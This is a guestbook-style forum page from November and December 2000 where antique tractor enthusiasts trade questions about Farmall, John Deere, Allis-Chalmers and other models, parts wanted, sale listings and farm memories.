Jeff Jackson wrote on Wednesday, December 13, 2000 (PST):What is a "wide front" If a M model has a wide front has it been modified? Please help!!
Drew Ayres wrote on Tuesday, December 12, 2000 (PST):I am looking for the orginal temp guage and amp guage for an 1130 with the turquoise illumination, also replacement decals for a sprit of 76 1135, the bicentenal decals and the star kit.
C.W>(Jim) Broughton wrote on Tuesday, December 12, 2000 (PST): To; Jim...your Cub is a 1958 model
R.B. Barnby wrote on Tuesday, December 12, 2000 (PST):This is not an orchard tractor... It does not have orchard fenders to keep branches off the tires and it has the exhaust going up instead of down under the tractor
mike wrote on Tuesday, December 12, 2000 (PST):mike; dec,12,I own a farmall hi-crop, runs needs some tlc has cultivator bar & 3 point assy any idea its value or year
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"!Geeze i really love that easy clutch on that tractor. Every man interested in tractors should most definetly look into one of these.
Michel Brousseau wrote on Tuesday, December 12, 2000 (PST):I've owned an Oliver super55, 1955 for 2 months now and might i add how much of a great tractor it is! It's very strong and reliable. I've already re-painted my Oliver in it's original colours using base and clear coats. It looks really shiny and nice and sparkly. It makes a 40 year old man act like a kid again. Like they say "old tractor's are big boys toys"! Every man interested in tractors should most definetly look into one of these.
ROBERT ASHBY wrote on Tuesday, December 12, 2000 (PST):I AM WANTING TO BUY A EARLY MODEL CUB TRACTOR. PREFERBLY RESTORED. NO LO BOY NO REAR EXHAUST. PREFER HYDROS.
Nick wrote on Monday, December 11, 2000 (PST):I grew up on JD two cylinders, on a small dairy farm here in Michigan. The last tractor that my father bought was a 70 diesel, that must have been back around 1975. I can remember lugging that diesel down long enough to make the muffler glow red. The tractor is still on the farm. I would like to get an idea of what it is worth. It is in fair condition, has been kept inside but has not run for approximately 10 years. Sheet metal is in good shape, has a mechanical problem with the steering. Pony motor ran as of 10 or so years ago. Would really appriciate any info on what a fair market price would be.
Eldon wrote on Monday, December 11, 2000 (PST):Looking for a fuel guage for a D17..like to get a price..I enjoy my D17..seems to be the right size for most jobs to be done on a hobby farm..
Allan wrote on Monday, December 11, 2000 (PST):I am in the process of restoring a 1950 Allis-Chalmers G. However I am having some difficulty finding tires because they are so rare. Any ideas? Also, I am also looking for a new rear hood. Any ideas there?
JIM wrote on Sunday, December 10, 2000 (PST):I HAVE A FARMALL CUB IN A BARN ON A FARM I RECENTLY PURCHASED. IT IS A MODEL FCUB WITH SERIAL NUMBER 20697. CAN SOMEONE TELL ME WHAT YEAR IT IS. IT STILL HAS THE HAND CRANK ON IT.
Mark Limberg wrote on Sunday, December 10, 2000 (PST):I grew up on a farm and drove 766, 966, 1066, 1086, 1586, and 7130 tractors. I now live on an acreage, but don't farm. I am looking to buy a tractor that I can use a loader and 3-point snow blower. Can someone make a recommendation for me? I was thinking of 786, 886, 986, 1086, or maybe even a '66 series, but I'm not sure the best way to go. Any suggestions would be greatly appreciated.
Ryan Olson wrote on Saturday, December 09, 2000 (PST):My name is Ryan Olson and my grandpa left me a 1940 Farmall M and I would like to restore it. Any photos,advise,or just some stories would be appreciated Thanks
Jim Stratz wrote on Saturday, December 09, 2000 (PST):Cute little tractor. Can't see where it would be good for anything else but mowing, hauling wagons or powering an auger. Lets face it, anything under 75 hp is a toy.
John Alfred Smith wrote on Saturday, December 09, 2000 (PST):Shane, Seeing that no one has answered your quesition, I will. Based off the 1950 model that I rebuilt in college. The M was 354hp , M with a superkit is 40hp, Super M was 45hp. hope this helps.
doug wrote on Friday, December 08, 2000 (PST):we have a toro model b 4cyl. eng. with a steel dumpbed and steel cleeted rear wheels can you provide any info on this tractor needs extensive restoration would appreciate if you could point me in the right direction thanks
Mike Johnston wrote on Friday, December 08, 2000 (PST):I have a John Deer Power Unit engine (#LU-2482). Can anyone tell me what it was used for? It looks like the same engine used on the Model L.
ray wrote on Thursday, December 07, 2000 (PST):i have a farmall special a,,,i was wondering if anyone could tell me anything about it,,i know there were not many produced,,and would like some info on it and to its value
ray wrote on Thursday, December 07, 2000 (PST):i have a farmall special a,,,i was wondering if anyone could tell me anything about it,,i know there were not many produced,,and would like some info on it and to its value
Keith wrote on Thursday, December 07, 2000 (PST):Hi Greg, J.I.Case Co. didn't manufacture tractors in Washington DC. The tractor was probably built in Racine, Wisconsin. The War Dept put tags on everything. That's all I know. Good luck.
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride. It has the right power for all the jobs on my families farm
jason schott wrote on Thursday, December 07, 2000 (PST):Although the 66 series is a nice series for power. I think the 86 series is the best for field work such as cuting silage for feed because you have everything right there on the dash TA and throttle. the gears and hydrolics are right on the side and the acceleration is nice and so is the ride.
ken pylman wrote on Wednesday, December 06, 2000 (PST):we had MD,, HAD DUELS onthe back. Used for discing and plowing, on a sugarbeet digger and for cultivating also. I still have the cultivator back and front tool bars, they are in good shape. make me an offer.
ken pylman wrote on Wednesday, December 06, 2000 (PST):we had MD,, HAD DUELS onthe back. Used for discing and plowing, on a sugarbeet digger and for cultivating also. I still have the cultivator back and front tool bars, they are in good shape. make me an offer.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
Fred Lehman Mt Vernon, Ia. wrote on Wednesday, December 06, 2000 (PST):I owned and drove a 28-44 Oliver Hart Parr from 1955 to 1960. It was a fine tractor. I pulled a 4 bottom Case plow at 5 miles per hour and it hardly open the governor. I removed the belt pulley and mounted a hydraulic pump leaving the pto. free to operate field chopper and other pto operated machinery. It had a 12 mile per hour road gear and was of course on rubber. To crank it you stood on the right side facing backward and turned the crank a quarter turn. In 1960 I trade for a tractor with a starter lights etc. but never had that kind of power again.
AL wrote on Wednesday, December 06, 2000 (PST):Looking for Allis D15,17 or 19 in good or restored cond. for use on acerage, preferably gas with 3pt hitch. Live in Alberta, anyone know of one for sale within reasonable distance? thank you.
Aaron huff wrote on Wednesday, December 06, 2000 (PST):used one up to the early 90 s great tractor
FRANK WOODRUFF wrote on Tuesday, December 05, 2000 (PST):I JUST GOT A FARMALL CUB THAT WAS IN A BARN SINCE 1975.MODEL FCUB 12770 CAN ANYONE TELL ME WHAT YEAR IT IS.
David DeYoe wrote on Tuesday, December 05, 2000 (PST):I have just finished a two year restoration on 1951 cub, Im Getting started on the bottom plows and cultivator. Are these implaments painted red or blue as indicated by the original implament manual? I cant tell whether they are supposed to be that color or simply highlighted in the manual. Thanks
David Payne wrote on Monday, December 04, 2000 (PST): I recently purchased an I-4 with similar rear wheel configuration, however it came with a Hough grader blade and loader. It was originally red and is going to take a lot of scraping to restore, but it runs strong, especially if I can get the carb rebuilt or replaced! Dave Payne
Dennis Graves wrote on Sunday, December 03, 2000 (PST):TO;ROBERT EASTMAN THE 720 HAS ABOUT 68 HORSEPOWER. YOUR 720 MAY HAVE A OIL-TYPE AIR FILTER AND IF YOU LOOK CLOSELY THERE SHOULD BE A KNOCK-OUT FOR THE ABOVE HOOD TYPE. GREEN MAGAZINE AND TWO CYLINDER CLUB WOULD BE SOMEPLACE TO LOOK FOR ANY PARTS OR MANUALS. IF YOUR TRACTOR IS LIKE THE ONE IN THE PICTURE THEN I WOULD SAY IT IS A HIGH CROP MODEL. YOUR TRACTOR HAS A 24 VOLT TYPE STARTING SYSTEM. JOHN DEERE CAN HELP YOU WITH WHAT TYPE AND SIZE OF BATTERIES TO USE. ENJOY!!!!!!
DERWIN SWICK wrote on Sunday, December 03, 2000 (PST):MY DAD CURRENTLY OWNS A MODEL 60RC IN NICE RUNNING CONDITION HE HAD BOUGHT IT CAUSE AS A KID HE HAD ONE ON HIS FARM AS A CHILD I WILL BE HELPING HIM REBUILD THE ENGINE 4CYL GAS BUT HE DONT KNOW MODEL OR MAKE OF ENGINE HELP!! PH# 352 625 4261 THANKFUL FOR ANY HELP
john tabor wrote on Sunday, December 03, 2000 (PST):i've got a 48b jd with the planters on it and i need the row markers for it real bad. can be seen on rear cover of june issue of green magazine. green magazine or two cylinder mag are great places to find the answers to a lot of questions asked on these pages and to locate hard to find parts or people who restore about everything of jd's. parts books are available from most jd dealers as new reprints of service manuals, owersners manuals or parts books. parts people love it when you can call them up and tell them the exact part number your looking for. its surprising how many parts are still available through jd. good luck with your projects and keep a sharp eye out for row markers for me. thanks
randy stark wrote on Saturday, December 02, 2000 (PST):I am look to buy a JOHN DEERE 'D' 1949ish or close in years, must have the standard hydraulic system. A class 5 or 4 not drivable,but not weathered, wrecked or stripped to the point of being useful only for salvage.pic. are a must. thanks rs
R Correll wrote on Saturday, December 02, 2000 (PST): I have a 2010 gas with wide front end. IT's a 1965 and have had it for 23 years. Have bushogged and done loader (model 36 loader) with it and love it. I put 15.5/38 tires on rear and 9.50/15 on front .What a difference. I'll never part with this tractor. The grinding in shifting is caused by worn shifting linkage. Mine started doing it and i had linkage rebuilt and it's like brandnew. if it lasts another 30 years i can't complain. I think the 2010 got a bad rap because s omme of the first ones had some problems that needed and COULD be fixed. My dad had a 1961 diesel and loved it.
Phil Howell wrote on Thursday, November 30, 2000 (PST):48 cub loboy for sale (serial 13616) good condition. belly mower only attachment. $ 2,500.00. Augusta Georgia.
Andy Mcferran wrote on Thursday, November 30, 2000 (PST):My father and grandfather bought an 1935 new in 1936 it was on steel. Dad had the steel cut off and rubber put on in 1938 and had the long front steam put in in 1939. Dad had two mounted cornpickers on this tractor and had an MM 69 combine that he did coustom work with. I still have this tractor and plow with at the Boone county plow days we have cleaed and painted twice and we put 1938 cast wheels on the rear the old welded on reams had give up.
Poppin' Johnny wrote on Wednesday, November 29, 2000 (PST):I really need front wheel bearing seals for my G. I doing a mechanical and maybe later cosmetic restoration. I'm 13.
Don Ward wrote on Wednesday, November 29, 2000 (PST):I have a 44Special with wide front and a speeco 3pt. Also a 444G Narrow front for sale. Have 2 or 3 tractors for parts. All for sale. Please write or call 815-633-2299. Thx
Dale Cornelius wrote on Wednesday, November 29, 2000 (PST):I have grown up around red power and that picture reminds me of the 10 that my dad and grandpa had. It had a muffler on it but still sounded like a locomotive running the silage blower on our dairy farm every fall. I'm going to school to fix Deere stuff but Red & White will always be my colors.
JOHN BAUER wrote on Tuesday, November 28, 2000 (PST):THERE IS SO MUCH WRONG INFO ON THE 6&V-8 CONVERSONS IN THIS SITE. I LOOKED AT ALL THE PHOTOS AND NOT ONE IS A FUNK V-8. THEY ARE ALL DELBERT/STAUFFER CONVERSONS. OLLIE GLOVER STARTED INSTALING 226ci FORD IND. ENGS. IN 2N FORDS IN 1946,NOT 1943. IT WOSN'T UNTIL FORD REMOVED THE CAST IN PART OF THE BELLHOUSING FROM THEIR ENGS.(THE 6CYL. IN LATE 1946& THE V-8 IN LATE 1948) THAT THE FLYWHEEL-CLUTCH ASS.WAS CLOSE ENOUGH TO THE TRACTOR TRANSMISSON INPUT SHAFT TO HOOK UP . THE FUNK BROS. BUSNESS WAS CASTING & MACHINING.WHEN WW-2 ENDED SO DID THE GOV. CONTRACTORS THAY HAD,SO THAY WERE ALLWAYS LOOKING FOR WAYS TO KEEP THE PLANT BUSY. THAY HEARD ABOUT GLOVER DOING ENG. CONVERSONS SO THAY MADE A DEAL WITH HIM TO CAST THE PARTS FOR HIS CONV. WHAT THE FUNK BROS. DIDN'T KNOW WAS THAT GLOVER HAD A PANT. ON THE CONV. WHEN THE FUNK BROS. STARTED TO SELL THEIR VERSON OF GLOVER'S KIT, GLOVER AND ATTORNEYS GOT TOGETHER TO PARTNER UP. THE V-8S& OHV.6 WERE MUCH LATER & THATS A WHOLE NOTHER STORY.
Kenny Sharpe wrote on Tuesday, November 28, 2000 (PST):I am 7 years old, I have lots of toy tractors and my favorite is Massey Harris just like my Dad Neil. If there are any other kids my age who like tractors you can E-mail anytime 4pm - 7pm.
Matt Harrington wrote on Tuesday, November 28, 2000 (PST):When we were kids in the late 60's my brother bought an H from a man a couple of miles away for $75. It had cultivators and other attachments. It was a hand crank but the magneto magnets were bad so we had to pull it to start. It ran fine after it started. He sure regrets selling that little tractor now.
Terry Myers wrote on Monday, November 27, 2000 (PST):I have an old Model B that I'm going to restore. I think it's about a '38 model Asparagus Special. Please send pointers on getting started
Neil Sharpe wrote on Monday, November 27, 2000 (PST):I own a 44 Special with a three point hitch, anyone who could give me some information regarding this year of tractor I would appreciate it. I also have a "44" 6. I am a Massey Nut!
Neil Sharpe wrote on Monday, November 27, 2000 (PST):I own a 44 Special with a three point hitch, anyone who could give me some information regarding this year of tractor I would appreciate it. I also have a "44" 6. I am a Massey Nut!
TommY SC wrote on Monday, November 27, 2000 (PST):My Aunt gave me the Tractor
Tommy Lanning S.C. wrote on Monday, November 27, 2000 (PST):My gave me a 1959 Farmall cub that has been in barn for years and was not operated in years. She gave it to me about 3 months ago. It is 100 % original. I got it home and did maintenance on it and it started right up.The only change to the tractor is the battery. I also got all the eqipment with it.
Bill Young wrote on Sunday, November 26, 2000 (PST):I am 13 years old and love to fool with old Farmall tractors , between me and my dad we have 9 Farmall tractors 1 Case tractor 4 of our Farmall M's are pulling tractors. We have one Farmall MD and it took us 3 engines to get it to run, because 2 of the engines had a cracked block, but now it runs like a charm and we plan on painting it this week.
Kevin Marquardt wrote on Sunday, November 26, 2000 (PST):I have an H that I am trying to get running again. It seems to have a "sticky spot" when you manually crank the engine around. If you crank fast past the sticky spot the engine will start, but if you stop in the sticky spot you can't budge the engine. Checked valves, rods no problems. Tractor was in good condition when i found problem. Please help.
GLEN wrote on Sunday, November 26, 2000 (PST):i have a 1932 f 20 that i would sell. i bought it to restore, lost interest. would sell for $500.00
leen butter, strijen, holland wrote on Sunday, November 26, 2000 (PST):i just bought a minneapolis moline u special, serial number;01214877. building year; 1956. it runs and is complete, he needs new paint, and i am searching for the wright painting numbers. who can help me? by the way; a few years ago i have had a u-diesel, i sold this rear tractor wich i still regret.
Scott Foote wrote on Saturday, November 25, 2000 (PST):I have just finished reatoring my 1947 VAO. It came from the ranch next door, My grandfather can rember it when they frist got it. I was able to get it from the frist owner. It last ran in 1960. The engine was full of water. and the carb was in such bad shape That it could not be used.I'm proud to say that It now looks like new. I HAVE a vac and A VA, that are in peaces also I have one tractor that we are not sure whats its called but it is a case I don't want them. parts or hole if you are interested please wright me... Grass valley CA E.D.G.E&T. ASS. Branch 111
Rich wrote on Saturday, November 25, 2000 (PST):Does anyone have a diagram, drawing,or picture of a 2 bottom plow on a C. I,m not quite sure how it goes on. Any help would be great.
John Settles wrote on Saturday, November 25, 2000 (PST):I own 32 John Deere"s and the R is one of my favorites, this fall during harvest I used it to pull two hopper wagons that hold 275 bu. each loaded or 33000# plus the weight of the wagons with no problem, not bad for a twobanger!
Mike wrote on Saturday, November 25, 2000 (PST):I am restoring a 1948 Farmall Cub. I need a wiring diagram for it. I do not have a manual. Anyone know where I can find this? Mike
Neil wrote on Saturday, November 25, 2000 (PST):Wanted; cultivator attachment for Allis-Chalmers G tractor have tool bar with manual lift. would like to buy other attachments also.
Shane Finley wrote on Saturday, November 25, 2000 (PST): What horsepower is a super M farmall?
Bill dittman wrote on Friday, November 24, 2000 (PST):MY GRANDFATHER BOUGHT A NEW D-15 SERIES 2 IN 1965 WITH 3POINT AND WIDE FRONT , PULLED A 4 ROW CORN PLANTER WITH HARROW ATTCH. ON IT ALSO HAD FULLY HYD. AC LOADER ON IT . THE DAY HE PASSED AWAY HE HAD JUST GOTTEN OFF THE D15 TO UNLOAD A WAGON LOAD OF EAR CORN AND SUFFERED A HEART ATTACK. WE KEPT THAT TRACTOR UNTIL 1980 , WISH I HAD IT BACK. VERY GOOD AC TRACTOR.
Bill Varney wrote on Friday, November 24, 2000 (PST):I am just getting interested in vintage tractors. I plan to use it when I retire a few years from now, on about 5 acres of land. I am considering a small Farmall C or Supper C. However, before I buy one, I would like to do some research. Any suggestions on what books I should read?
BILL DITTMAN wrote on Friday, November 24, 2000 (PST):MY FATHER BOUGHT A NEW OLIVER SUPER 88 DIESEL IN 1957 , PULLED 4-14 PULL TYPE PLOW , WORKED ALL THE GROUND , 400 ACRES, AND PICKED ALL THE CORN WITH AN OLIVER 2 ROW PULL TYPE PICKER , LATER HE USED IT ON A MM CORN SHELLER , SHELLING CORN ALL OVER. THE TRACTOR WAS TRADED IN 1968 , SOLD LOCALLY AGAIN AND NOW NEXT DOOR NEIGHBOR OWNS IT ; A LOT OF FOND MEMORIES .
BILL DITTMAN wrote on Friday, November 24, 2000 (PST):WE OWNED A 1964 SUPER 90 DIESEL , WAS A POWER HOUSE FOR IT'S SIZE , LATER BOUGHT A 180 DIESEL , DEALER SAID THE 180 WOULD DO ANYTHING THE 90 WOULD DO . THE 90 WAS TWICE THE TRACTOR THE 180 WAS , I THINK THE 180 WAS VERY OVERRATED , WE ONLY KEPT IT TWO YEARS AND TRADED IT.
BILL DITTMAN wrote on Friday, November 24, 2000 (PST):MY FIRST TRACTOR WAS A 1964 MM602 GAS ON 18.4 RUBBER USED IT TO PLANT AND CULTIVATE WITH , PULLED IT IN THE LOCAL STOCK PERCENTAGE TRACTOR PULL WEIGHING 7000 LBS. ; HAVE MANY FIRST PLACE TROPHY'S , VERY LOUD WITH CHROME PIPE AND THE RPM'S SET A LITTLE HIGHER . GOOD TRACTOR
Don Giehl Jr. wrote on Friday, November 24, 2000 (PST):i am looking for someone to e-mail me i pic. of a 1951 case D.O.
max owens wrote on Thursday, November 23, 2000 (PST):I have a 48 case vac that runs with operator instruction manual to sell.
jurgen snauwaert wrote on Thursday, November 23, 2000 (PST):We are from belguim and have also a IHC 8-16. We want to restring hem but we don't now the right color of the tractor. Can anyone help?
RON WEHRKAMP wrote on Thursday, November 23, 2000 (PST):I BOUGHT A 220 ABOUT FIVE YEARS AGO IT IS RATED 136 HP IT HAS A CAB AND AND IS IN REAL GOOD SHAPE . THE CAB IS NOISY ON THE INSIDE DOES ANYONE KNOW HOW TO HELP THIS PROBLEM ?
Chris Todd wrote on Wednesday, November 22, 2000 (PST):I live in the central Ohio area and am looking for any Super A's that are available. Would consider all. Am looking at getting my feet wet at restoring. Thanks!
nick wrote on Tuesday, November 21, 2000 (PST):I am 13 and own a 1946 Case DC. It can out pull big IH W-6's at the tractor pulls. I am looking for a manual, or another case D series tractor or a Case L in western KS. If anyone has these tractors in unrestored condition to get rid of I would like to here from you.
Donn wrote on Tuesday, November 21, 2000 (PST):I'am currently working on a 60hp conversation in a 52 8n, would like to correspond with anyone else who is doing the same
Derrick wrote on Tuesday, November 21, 2000 (PST):I am looking for an F-30. Year doesn't matter but would like in running condition.
Dave Murray wrote on Tuesday, November 21, 2000 (PST):Would like to know if any has an AC-G for sale in michigan,If so please let me know.
jason schott wrote on Tuesday, November 21, 2000 (PST):Does this guy who says The truth of the farmall line of tractors really Know what a tractor is. Is he also awear that the INTERNATIONAL HARVESTER COMPANY was bough out in 1984. Why don't he look at what the rest of the people who wrote on this page have to say.On My Grandparents farm we have all FARMALL/INTERNATIONAL Tractors and thy get the Job done with plenty of power
C.W.(Jim) Broughton wrote on Sunday, November 19, 2000 (PST):To; Chris... the serial number is usually found on the casting on the right side of your tractor,right next to the steering unit. To; Jerry...the serial number determines the year of your cub...1957-FCUB198231-204388...58 is 204389-211440, 1959 is 211441 to 214973 and if you are on the west coast, that second gear can be ordered out of California, see your IH dealer.
C.W.9Jim) Broughton wrote on Sunday, November 19, 2000 (PST):To; Doug Layman... your 1948 Cub, if original, is 6 volt, POSITIVE ground electrical system.The brown wire goes from the armature of the generator to the "gen" post on the regulator. The "field" from generator to "F" on the regulator.. The gray wire goes from the "Bat" terminal of the regulator to the ammeter.The light green wire from the "L" on the regulator to the ignition switch, and on through the fuse holder to the "bat" side (left) of the light switch..the violet wire goes from the "high" side of the light switch (upper right) to the headlights. The black and the white wires go to the rear light and or the flashers, is you have any, and are connected to the "low" switch and the lower left side.You can obtain the info from Intertec Int'l Cub shop manual.. P.O.Box 12901,Overland Park,KS 66282-2901.
Clark wrote on Sunday, November 19, 2000 (PST):My dad had an 81 in the 40's, when I was a small boy. In the early 50's, he traded it for a 101 Jr. My uncle had an 81, and later traded it for a 22 with hydraulics. Neither of the 81s had hydraulics. They were all real nice tractors.
Bill Wagaman wrote on Sunday, November 19, 2000 (PST):visit our web site wagamantiquetractors.tripod.com john deere pictures nothing runs like a deere or smells like a john!!!!!!
Roxane wrote on Sunday, November 19, 2000 (PST):I have john deere B for sale on ebay right now it has 7 days left on the auction, it is located in farm equpit section of everything else catagory. also have a 48 B which has not been posted yet email me with questions.......
Roger T. wrote on Sunday, November 19, 2000 (PST):Looking ffor a rebuild kit for oc-3 crawler w/3 cylended motor. Help Please
Norbert Nielsen, Kenmare, ND wrote on Sunday, November 19, 2000 (PST):Have one bottom plow (model A-192) and need lift handle tha bolts on tracto platform.Any body can would be appreciated.
Ellwood D. Miller wrote on Saturday, November 18, 2000 (PST):e-mail address ES Triticum at aol.com
Ellwood D. Miller wrote on Saturday, November 18, 2000 (PST):My father bought an R in 1954 sn 19863. Sold it in 1957. I began looking for it in 1988. Found it, 1996,bought it,1998.It was still being used on a farm. It is back home. A local newspaper did a story, called it,"darned old Tractor",a quote from my father.
jerry wrote on Saturday, November 18, 2000 (PST):I have a 1957 or1959 cub how do I tell the differance . I also need some info on a transmission , 2nd gear is out and needs repair
Scott wrote on Friday, November 17, 2000 (PST):In 1939, My grandfather bought an L model, right off the showroom floor, in western N.Y. My Dad used it during WWII to plow and cultivate "victory gardens" --he was only 13. After my grandfathers death in the mid 70's, my Dad and I brought the L to Missouri where we restored it to its original condition. Now on my own fathers passing, I find myself with a tractor that bring back the best of memories. I cant wait to start making more great memories for my kids with that old L.
Keith Trimble wrote on Thursday, November 16, 2000 (PST):I am interested in a JD R tractor to buy. Contact me at 785-243-3798 or E-mail at pepper at dustdevil.com
Richard Moore wrote on Wednesday, November 15, 2000 (PST):I have the engine off a Fordson Major diesel on a irragation pump. It is for sale.
Richard Moore wrote on Wednesday, November 15, 2000 (PST):I have a 1937 Farnall F-20 It is the type with only one front wheel.
John C wrote on Wednesday, November 15, 2000 (PST):To; John in St Louis - Don't know if you have found an HG yet, but I have an HG 68 Crawler Tractor that is in better than average condition. I am in western, Pa., about 10 hours away. If you have any interest give me a call at 724-282-8264.
chris wrote on Wednesday, November 15, 2000 (PST):where is the serial number located on the cub tractors?
Tom Wright wrote on Wednesday, November 15, 2000 (PST):I am restoring a Silver King Model 41 narrow front, and are looking for photos and information. Can anyone help.
Andy Rock wrote on Tuesday, November 14, 2000 (PST):I am helping out a friend. He has a 51 Super M his father purchased new. It was burned in a barn fire in 1999 and he is trying to restore it to Original condition. Can anyone help us find information on the exact decaling of the instrument panel, gear shifter, and the like?
Bill Lynn wrote on Tuesday, November 14, 2000 (PST):I'm looking for Allis Chalmers Model G, serial number 3138. It was sold from father's estate in the 70's in West Des Moines, Iowa. Any ideas on how to find this one? thanks, Bill
Chris Armes wrote on Sunday, November 12, 2000 (PST): The person who thinks he is speaking the truth about Farmall M's is dead wrong. I use a 1941 M to plow a 70 acre field every year using a three bottom break away plow with 16 inch mullboards. This tractor is still original, has never been overhauled and still starts without choking it even in cold weather! The way I see it you are probably one of those green tractor lovers....I've pulled against those at the antique tractor pulls.....and I have BRAGGING RIGHTS!
Allen Clark wrote on Sunday, November 12, 2000 (PST):I have a 1945 VAI that i am looking for a EAGLE hitch or someting similar along w/ a mower of any kind and a rear blade. Any information would be of great help. Thanks, Allen Clark
Ray Connors wrote on Sunday, November 12, 2000 (PST):I grew up on Larson Farm in New Milford CT and all we had were John Deere tractors. We had a 720 D electric start row crop that just wouldn't quit. Peter traded it in at Riva equipment in Cannan for a 2020 that I still use. I would love to find that 720 and bring her home again. The only thing on it that stands out is the front housing was missing a piece of the casting by the impliment mounting bolts. I would imagine the tractor went to western mass, eastern NY, or NW Connecticut.
Ben Guthrie wrote on Sunday, November 12, 2000 (PST):Was metal detecting in a yard, my five year old son came up behind me and jokingly I asked him what he would like me to find for him. He said a little tractor with a man on it. While he was whatching me I proceeded to dig up a very small toy tractor with a man on it. It was incased in mud and about five inches down. That was 25 years ago. I just now got on this page to discover it is a Massey Harris 44. Any info on it would be appriciated.
Russ Johnson wrote on Saturday, November 11, 2000 (PST):I am restoring a 12-25 and need a flywheel, intermedate gear, and many small parts. If you have any parts or know of someone who may please let me know. Thanks russ
cruise wrote on Saturday, November 11, 2000 (PST):where do i find a good pic of a 501
TIM wrote on Friday, November 10, 2000 (PST):I am trying to locate a international 1000 front end loader. It fits a farmall cub. It is a single arm loader.Any info would help.
Robert Eastman wrote on Friday, November 10, 2000 (PST):I now co-own a #730 diesel wide front by John Deere. I went to an auction to buy an early Ford tractor, the kind that I leaned how to drive on when I was a boy. When I saw the #730, and in a remarkably good condition, I had to have it. Those of you who went through the collecting of 60s muscle cars, as I did, know how this feels. I have some questions for anyone who knows this type of tractor. It was built in 1958 or 1959. It is the 2 cylinder type of diesel with the 24 volt electric start, and the compression release pedal start. QUESTIONS; What is the horsepower rating on this tractor? Because it has the wide front and is quite tall, is this considered to be a "row crop" tractor? Or a "high crop" tractor? The hood has no provision for an aircleaner to be extended through the hood. Is this unusual or is this incorrect? There is no hole in the hood where there should be one for an aircleaner extension. I have purchased the tractor in just the past few days. I would appreciate any help with suggestions for manuals for parts, service, or owners manuals. I have found a listing for some on the antiquetractors website. I'm sure those will do fine, but any additional suggestions will be welcome. This is my first tractor, and I have a long way to go to learn how to properly maintain it. In the small town where I live, there is a John Deere dealership and service center. A big reason why I chose John Deere over other quality brands. If I need to, I can drive it over to the service center, or for really big problems, they can come get it with truck and trailer for a short haul. Also, what batteries should be in the tractor? I know that it takes two 12 volt batteries. The ones that are in it look small. The ones that are in it seem to be doing the job, but there is a CENTRAL TRACTOR/FARM AND COUNTRY nearby. If I were going to buy new batteries, what part # with what features would you recommend? Also, the matter of cold weather starting. So that I do not "have to reinvent the wheel", what methods work for you? I have ruled out the use of eather because of the extremely thin "squish" area of the pistons to cylinders clearance. Serious damage could occur. I have my own ideas. I think that this is quite enough for my first letter. A BIG THANK YOU to the Tractor Shed for this forum, and to its' readers.
mark jarrels wrote on Friday, November 10, 2000 (PST):i am 46 years old... learned to drive a tractor on a farmall c at about 12... also learned quickly how to override the governor... finily retired from the navy and retured home and restored the old farmall c. love the old tractor but to this day can't figure out why may dad every bought it... 8n fords were the were the best tractors in 1950 with the 3 point hitch and hydralics. my old farmall c did nothing but pull wagons, spreaders and and a old horse drawn mower convered to two point but i loved it. it does have the touch control which was used for the mower. would love to put a belly mower on it so time and use it for our 1.5 acre lawn.
Leo Hagan wrote on Thursday, November 09, 2000 (PST):I have a Avery that I put a Nisson motor & tran in I use to mow my yard with. I also have a Leader tractor with an IXB4 motor. I need part to rebuild the motor. Where can I get them. {rings gaskets rod & main bearings} Thanks for any help Leo
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
Rex Bolliger wrote on Thursday, November 09, 2000 (PST): I wish I could remember what year z minnie I had in late 50;s. When I went ino military Dad put a farmhand stacker on it. Idon't know how many times he tipted it over on it's side. It was a gutty little critter. REX
bob pearman wrote on Thursday, November 09, 2000 (PST):I have 3 F-20s that need some tlc and a Massey Harris 22 that I might be persuaded to part with if anyones interested. I had big plans for them but they never worked out.
Terry Koser wrote on Thursday, November 09, 2000 (PST):Looking for wide front for 1937 F-20,thank you for any help.
Curt Curl wrote on Wednesday, November 08, 2000 (PST):I farmed with a 720 diesel for 10 years on 200 acres.Pulled 4-14s and 12 foot equipment,she always done what she was asked and more.I also had a 52 AJohn Deere,I used to have people stop and stare at the two old tractors, surprised that they could still get the job done!I wish that I had never sold them.I miss the magical sounds of the putt putt that they made while running.It brings back alot of memories seeing pictures of the old tractors from around the country.It is very true, nothing runs like an old Deere!
Bryan lanier wrote on Wednesday, November 08, 2000 (PST):I have either a Mccormick Deering 15-30 or a 22-36 the serial number is gone, all i have to go by is the date stamped on the belly of the tractor ( 11-7-29). do you know how to tell the diffrence between them without tearing the engine down to find the bore size? it has a type F.M. magneto and the air cleaner is not a IHC. from what paint is left it was gray with a gray belt pully. thanks for the help.
